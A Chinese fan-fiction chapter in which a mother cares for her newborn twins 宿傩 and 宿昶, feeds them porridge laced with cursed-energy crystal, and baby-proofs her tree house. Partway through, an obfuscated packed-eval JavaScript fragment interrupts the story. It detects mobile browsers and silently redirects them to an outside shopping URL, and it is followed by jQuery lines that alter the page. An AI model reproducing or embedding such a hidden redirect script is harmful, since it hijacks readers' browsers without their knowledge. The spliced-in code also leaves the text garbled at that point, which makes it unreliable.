宿观音是被一阵细细的“啊啊”声吵醒的。
不是哭声,是那种带着明显目的性的、一唱一和的“对话”。
她睁开眼,偏过头。
然后愣住了。
两个小襁褓的位置,变了。
她明明记得昨天睡觉前,把两个崽并排放在床榻内侧,离自己一臂远的地方——怕自己翻身压着他们。
但现在——
粉色那个,也就是宿傩,不知道什么时候挪到了床榻边缘,再差一点就要滚下去。
黑色那个,宿昶,倒是没挪多远,但他侧着身,面朝弟弟的方向,一只小手居然从裹得紧紧的襁褓里挣了出来,就那么搭在两个人中间的空处。
而宿傩的那只小手,也从襁褓里挣出来,正努力往哥哥那边够。
两只小手之间,只差不到一根手指的距离。
“……”
宿观音揉揉眼睛,又看了一遍。
没错。
两只挣出来的小手。
两个挪了位置的小团子。
两个出生才一天的崽。
她沉默了。
她慢慢坐起来,没有惊动那两个还在“啊啊”交流的小东西。
她盯着他们看了很久。
然后她伸手,把宿傩从床榻边缘捞回来,放回安全位置。
宿傩吓了一跳,小身子一僵。
等他看清是老妈,立刻咧开嘴,露出一个没牙的傻笑。
“啊!”他叫了一声,声音响亮,像在打招呼。
宿昶也安静下来,那双黑漆漆的眼睛看着她,不叫,只是看着。
宿观音看看这个,又看看那个。
“你们俩,”她开口,声音还有点刚睡醒的沙哑,“昨天偷偷干什么了?”
宿傩继续傻笑。
宿昶继续安静地看着她。
没人回答。
但她低头检查襁褓的时候,发现了一个问题——
裹宿傩的那个襁褓,最外层那个她特意加固过的结,松了。
不是完全散开,是松了。
像是被什么东西从里面一点一点拱开的。
她看看那个松开的结,又看看宿傩那只挣出来的小手。
再看看他那张无辜的、傻笑着的脸。
“……是你干的?”
宿傩眨眨眼睛。
“啊!”他又叫了一声,理直气壮。
宿观音气笑了。
“你才出生一天,”她戳戳他的小脸蛋,“就会越狱了?”
宿傩被戳得眯起眼睛,但嘴角还咧着,笑得更开心了。
她又看向宿昶。
“你呢?你手怎么挣出来的?”
宿昶安静地看着她。
然后他轻轻动了动那只挣出来的小手,指尖微微蜷缩了一下,像在比划什么。
宿观音看不懂。
但她忽然想起一件事——
昨天的咒力结晶。
她喂他们的时候,两个崽吸收得很快,快得不正常。那种精纯的能量,对他们来说,可能不仅仅是填饱肚子那么简单。
她皱起眉,把宿傩的襁褓完全解开,把他抱出来,放在腿上。
然后她捧着他的小脸,仔细看。
眼睛。鼻子。嘴巴。耳朵。
都和昨天一样,小小的,皱巴巴的,标准的初生婴儿长相。
但当她用手指轻轻碰他的小手时——
那只小手,居然握住了她的手指。
不是那种无意识的、反射性的抓握。
是主动的、有目的的、像在确认什么的那种握。
而且握得很有力。
她又试试他的脚。
轻轻挠了挠脚心。
那只小脚居然缩了一下,然后——
踹了她一脚。
不重,但确实是踹。
踹完,他又咧开嘴傻笑,像是在说:妈,我厉害吧?
宿观音沉默了。
她把宿傩放回襁褓,又把宿昶抱出来检查。
黑色的小人儿安静地躺在她腿上,那双黑漆漆的眼睛一直看着她。
她碰他的小手。
他握住了她的手指,和宿傩一样有力。
她碰他的小脚。
他没有踹她,只是轻轻动了动脚趾,然后继续看着她。
不傻笑,不闹,就是那么安静地看着她。
像是在等她说点什么。
宿观音把他放回去,裹好襁褓。
然后她坐在床边,陷入了沉思。
两个崽吸收了咒力结晶之后,身体掌控能力明显超前了。
普通婴儿出生一天,连转头都费劲。这两个已经会挣襁褓、会挪位置、会有意识地抓握了。
这发育速度,差不多相当于正常婴儿两个月。
照这个趋势下去,再过几天,他们会不会就会翻身了?再过一个月,会不会就想爬了?
万一爬得早了,脑子还没跟上,不会说话,不会走路,光有身体能跑——那不成小怪物了?
外面那些咒灵可不管你是不是婴儿,闻着咒力就过来了。
她可不想某天出门打猎回来,发现两个崽自己爬出去探险了。
不行。
得压一压。
不能让他们长太快。
“崽,”她开口,“跟你们商量个事。”
两个小团子同时看着她。
“你们昨天吃的那个东西,是好东西,但不能吃太多。”她说,“吃多了,你们长得太快,万一脑子没跟上身体,到时候连妈都叫不清楚,光会满地乱爬,那多尴尬。”
宿傩眨眨眼睛,没听懂。
宿昶也眨眨眼睛,但那双黑漆漆的眼睛里,似乎在思考什么。
“所以呢,”宿观音继续说,“以后那个东西,掺在别的吃的里,一点点吃。慢慢长,不着急。”
“反正妈在这儿,没人能欺负你们。”
“你们就按正常节奏来,该爬的时候爬,该走的时候走,该叫妈的时候叫妈。”
“听懂了没?”
宿傩“啊”了一声,声音响亮。
宿昳也轻轻“啊”了一声,声音很轻。
宿观音把这当成“听懂了”。
她站起来,走到储物区,翻出昨天没用完的那点糙米。
先煮粥。
咒力结晶当佐料,不能当主食。
第一步,煮粥。
她生起火塘,把陶锅架上,加水,放米。
糙米需要煮很久,她一边看着火,一边把昨天剩下的几块咒力结晶拿出来,用石臼慢慢研磨。
结晶很硬,但在她手里,也就是多用力几下的问题。
很快,一小撮亮晶晶的粉末就磨好了。
米粥的香味慢慢飘出来。
两个小团子同时转过头,看向灶台的方向。
宿傩“啊啊”叫起来,声音又急又亮。
宿昶没叫,但他那双黑漆漆的眼睛,也一眨不眨地盯着陶锅的方向。
宿观音回头看了一眼,笑了。
“急什么,还没好。”
她继续搅粥,直到米粒完全煮烂,粥变得粘稠。
然后她把那一小撮咒力结晶粉末撒进去,搅拌均匀。
粉末一入锅,粥的表面泛起一层淡淡的微光,像是撒了一层细碎的星星。
她盛出来两小碗,晾到温热。
然后她抱着两个小碗,坐回床边。
“来,开饭。”
她把宿傩先抱起来,放在腿上,用一个小木勺舀了一点点粥,吹了吹,送到他嘴边。
宿傩早就等不及了,小嘴一张,“啊呜”一口就把勺子含住了。
然后他愣住了。
眼睛瞪得圆圆的。
那个表情,像是在说:这是什么?怎么和昨天吃的不一样?
但他很快就接受了这个设定,小嘴一动一动,把那口粥咽下去。
然后他张开嘴,“啊”地叫了一声,意思是:还要!
宿观音又舀了一勺。
他又“啊呜”一口吞下去。
嚼都不嚼——当然也没牙可嚼——就那么直接咽。
咽完又叫。
一勺接一勺,吃得又快又急,米粒糊得满嘴都是。
那小模样,活像一只饿了三天的雏鸟,张着嘴等着投喂。
宿观音一边喂一边笑,“慢点慢点,没人跟你抢。”
喂完宿傩,她把吃饱了、正在咂嘴的小粉团子放回襁褓,把宿昶抱起来。
黑色的小人儿安静地躺在她腿上,看着她。
她舀了一勺粥,吹凉,送到他嘴边。
他张开小嘴,含住勺子。
然后他慢慢嚼——虽然没牙,但小嘴一动一动,像是在认真品尝。
咽下去之后,他没有像宿傩那样张嘴要,而是看着她,眼睛微微眯了一下。
那表情,像是在说:还可以。
宿观音又舀了一勺。
他又慢慢嚼,慢慢咽。
一勺一勺,不急不慢,吃得干干净净。
吃完,他还伸出小舌头,把嘴唇上的米粒舔掉。
然后继续看着她,黑漆漆的眼睛亮晶晶的。
宿观音看着他,心都快化了。
“你们两个,”她轻声说,“一个狼吞虎咽,一个细嚼慢咽。”
“以后吃饭,可热闹了。”
她把宿昶放回去,两个小团子并排躺着。
宿傩吃饱了,正眯着眼睛,小嘴还在咂吧,像是在回味。
宿昶也吃饱了,安静地躺着,眼睛看着天花板。
过了一会儿,宿傩忽然偏过头,看向哥哥。
他“啊”了一声,像是在问:你吃饱没?
宿昶也偏过头,看向弟弟。
他没“啊”,只是轻轻眨了眨眼睛。
宿傩又“啊”了一声,像是在说:我吃饱了,好饱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265099|198079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宿昶眨眨眼睛,像是在说:我也是。
然后两个小团子同时收回视线,继续看着天花板。
宿观音在一旁看着,忍不住笑了。
这俩小东西,真会交流。
第二步,改造树屋。
她站起来,环视一圈这间十几平米的木头房子。
床榻。灶台。储物区。柴火堆。她的那把摇椅。两个婴儿床。
东西不少,地面也不算平整。
如果两个崽真的开始爬,这地方到处是危险。
灶台有火,柴堆有刺,储物区的陶罐会倒,床榻边缘会摔。
不行。
得重新弄。
她先把两个婴儿床搬到一起,并排放在最安全的角落——远离灶台,远离窗户,远离一切可能掉下来的东西。
然后她开始清理地面。
所有杂物,全部堆到一边。
柴火全部搬到外面,用兽皮盖好。
陶罐全部放到高处,用藤条固定。
那把摇椅,搬到阳台上去——她暂时不需要享受了。
地面空出来了。
但还不够。
这破木板地,虽然她当初铺得还算平整,但木头毕竟有节疤,有缝隙,万一小崽子爬的时候磕着碰着……
她想了想,走到储物区,翻出那几床最旧、最厚实的兽皮。
这些是她最开始从密室带出来的,洗过晒过,虽然不那么软了,但够厚,够大。
她把兽皮一张一张铺在地上,铺了整整三层。
从最安全的角落,一直铺到床榻边上。
铺完之后,她踩上去试了试。
软。厚。有弹性。
摔上去绝对不疼。
她又检查了一遍四周。
所有锐利的东西,全部收起来。
所有能塞进去的缝隙,全部用软布堵上。
灶台那边,她用一个大的木盖子盖住火塘口——以后点火的时候再打开,不点火的时候盖着,小崽子爬不过去。
阳台上,她用几根粗木头把护栏加高,加了两层。
万一他们以后会爬了,爬到阳台上来,也不至于翻下去。
忙完这些,已经过了大半个时辰。
她站在改造后的树屋中央,叉着腰,欣赏自己的劳动成果。
地面全是软软的兽皮,踩上去像踩在云朵上。
角落是两个并排的婴儿床,像两个小小的堡垒。
灶台被“封印”了,暂时安全。
储物区的东西都搬到了高处,用藤条固定,像树上长的果实。
整个树屋,像一个巨大的、柔软的、没有危险的育儿房。
“行了,”她拍拍手,“以后你们就在这儿爬。”
“想怎么爬怎么爬,想怎么滚怎么滚。”
“妈给你们兜底。”
两个小团子躺在婴儿床里,看着她。
宿傩眨眨眼睛,像在问:这是什么?
宿昶眨眨眼睛,像在观察。
宿观音走过去,把两个崽从婴儿床里抱出来,放在铺好的兽皮上。
软软的兽皮,暖暖的,毛毛的。
宿傩一放上去,就开始动。
小身子在兽皮上扭来扭去,小手小脚乱挥,像一只翻壳的小乌龟。
宿昶则安静地躺着,小手轻轻摸着身下的兽皮,像是在感受毛茸茸的触感。
宿观音坐在旁边,看着他们两个。
阳光从窗户照进来,落在他们身上。
两个小小的身影,在软软的兽皮上,一个乱动,一个安静。
她忽然觉得,之前那些打打杀杀、那些特训、那些担心,都值了。
“崽,”她轻声说,“以后咱们就按这个节奏来。”
“慢慢长,慢慢学。”
“妈有的是时间陪你们。”
宿傩扭了一会儿,忽然停下来,偏过头看向她。
他咧开嘴,又露出那个没牙的傻笑。
“啊!”他叫了一声。
像是在说:妈,我喜欢这里!
宿昶也偏过头看向她。
他没叫,只是安静地看着她,黑漆漆的眼睛里,映着她的影子。
那眼神,像是在说:妈,谢谢你。
宿观音看看这个,又看看那个。
然后她躺下来,躺在两个崽中间。
软软的兽皮,暖暖的阳光,还有两个小小的、温热的小生命。
她闭上眼睛,长长地呼出一口气。
“真好啊。”她轻声说。
窗外,风吹过林梢。
树屋里,一片安宁。
两个小团子,在母亲身旁,在软软的兽皮上,开始了他们人生第一次“地面探索”。
虽然一个只会乱扭,一个只会躺着看。
但这已经是他们迈向这个大大的世界的第一步。
慢慢来。
不着急。
妈在这儿。